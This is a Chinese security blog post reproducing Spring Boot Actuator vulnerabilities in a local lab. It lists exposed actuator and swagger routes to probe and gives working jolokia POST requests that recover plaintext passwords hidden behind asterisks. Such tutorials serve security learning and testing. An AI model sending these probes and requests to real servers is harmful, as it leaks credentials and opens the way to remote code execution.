Spring Boot系列漏洞(一)

admin 2023年4月19日03:35:24评论44 views字数 4959阅读16分31秒阅读模式

点击关注公众号,知识干货及时送达👇

Spring Boot系列漏洞(一)

1

环境搭建

Spring Boot系列漏洞(一)

搭建基础

参考:

https://github.com/LandGrey/SpringBootVulExploit

漏洞环境搭建:

https://github.com/LandGrey/SpringBootVulExploit

2

路由知识

Spring Boot系列漏洞(一)

有些程序员会自定义/manage、/managemen

Spring Boot Actuator 1.x 版本默认内置路由的启示路径为/,2.x版本则统一以/actuator为起始路径

Spring Boot Actuator 默认的内置路由名字,如/env有时候也会被程序员修改,比如修改成/appenv

3

漏洞复现

Spring Boot系列漏洞(一)

配置文件

application.properties

看配置文件application.properties

//启动端口 9098
server.port=9098
server.address=127.0.0.1


# vulnerable configuration set 0: spring boot 1.0 - 1.4
# all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters
# no configuration required to expose them

# safe configuration set 0: spring boot 1.0 - 1.4
#management.security.enabled=true

# vulnerable configuration set 1: spring boot 1.5+
# spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators
#management.security.enabled=false

# safe configuration set 1: spring boot 1.5+
# when 'management.security.enabled=false' but all sensitive actuators explicitly disabled
#management.security.enabled=false

## vulnerable configuration set 2: spring boot 2+
#management.security.enabled=false
#management.endpoint.refresh.enabled=true
//开启指定的端点
management.endpoints.web.exposure.include=env,restart,refresh
#management.endpoints.web.exposure.include=*
//开启restart
management.endpoint.restart.enabled=true

搭建好运行环境

访问起始路径它会将配置文件中的端点列出

Spring Boot系列漏洞(一)

删除配置文件中的端点

Spring Boot系列漏洞(一)

设置配置文件中端点为*

Spring Boot系列漏洞(一)

端点说明(参考说明)

https://docs.spring.io/spring-boot/docs/1.5.10.RELEASE/reference/htmlsingle/#production-ready-endpoints

· env:暴露Spring的属性· heapdump:返回GZip压缩的hprof堆转储文件。· restart:重启应用. refresh:读取加载入口

4

信息泄露

Spring Boot系列漏洞(一)

0x01 路由地址及接口调用详情泄漏

Spring 1.x 和 Spring 2.x 的路由入口不同,区别在于/env 和 /actuator/env

直接访问以下两个 swagger 相关路由,验证漏洞是否存在:

/v2/api-docs
/swagger-ui.html

其他一些可能会遇到的 swagger、swagger codegen、swagger-dubbo 等相关接口路由:

/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html

除此之外,下面的 spring boot actuator 相关路由有时也会包含(或推测出)一些接口地址信息,但是无法获得参数相关信息:

/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops

5

配置不当而暴露的路由

Spring Boot系列漏洞(一)

trace
health
loggers
metrics
autoconfig
heapdump
threaddump
env
info
dump
configprops
mappings
auditevents
beans
jolokia
cloudfoundryapplication
hystrix.stream
actuator
actuator/auditevents
actuator/beans
actuator/health
actuator/conditions
actuator/configprops
actuator/env
actuator/info
actuator/loggers
actuator/heapdump
actuator/threaddump
actuator/metrics
actuator/scheduledtasks
actuator/httptrace
actuator/mappings
actuator/jolokia
actuator/hystrix.stream

其中对寻找漏洞比较重要接口的有:

·/env、/actuator/envGET 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等信息;当程序员的属性名命名不规范,例如 password 写成 psasword、pwd 时,会泄露密码明文;同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,间接触发相关 RCE 漏洞;同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。· /refresh、/actuator/refreshPOST 请求 /env 接口设置属性后,可同时配合 POST 请求 /refresh 接口刷新属性变量来触发相关 RCE 漏洞。· /restart、/actuator/restart暴露出此接口的情况较少;可以配合 POST请求 /env 接口设置属性后,再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞。· /jolokia、/actuator/jolokia可以通过 /jolokia/list 接口寻找可以利用的 MBean,间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。· /trace、/actuator/httptrace一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情;以及有效用户或管理员的 cookie、jwt token 等信息。·/heapdump、/actuator/heapdump

heapdump可以通过工具去分析查询存储在实例类中的信息




6

获取被星号脱敏的密码的明文


Spring Boot系列漏洞(一)

获取被星号脱敏的密码的明文 (方法一)

访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果

利用条件:

·目标网站存在 /jolokia 或 /actuator/jolokia 接口·目标使用了 jolokia-core 依赖(版本要求暂未知)

利用方法:

步骤一: 找到想要获取的属性名

GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。

步骤二: jolokia 调用相关 Mbean 获取明文

将下面示例中的 security.user.password 替换为实际要获取的属性名,直接发包;明文值结果包含在 response 数据包中的 value 键中。

·调用 org.springframework.boot Mbean
实际上是调用 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法

spring 1.x

POST /jolokia
Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

spring 2.x

POST /actuator/jolokia
Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

·调用 org.springframework.cloud.context.environment Mbean实际上是调用 org.springframework.cloud.context.environment.EnvironmentManager 类实例的 getProperty 方法

spring 1.x

POST /jolokia
Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

spring 2.x

POST /actuator/jolokia
Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

·调用其他 Mbean目标具体情况和存在的 Mbean 可能不一样,可以搜索 getProperty 等关键词,寻找可以调用的方法。

未完,请期待后续....

Spring Boot系列漏洞(一)
E
N
D
觉得内容不错,就点下在看
如果不想错过新的内容推送,可以设为星标Spring Boot系列漏洞(一)

原文始发于微信公众号(希石安全团队):Spring Boot系列漏洞(一)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月19日03:35:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Spring Boot系列漏洞(一)https://cn-sec.com/archives/1677594.html

发表评论

匿名网友 填写信息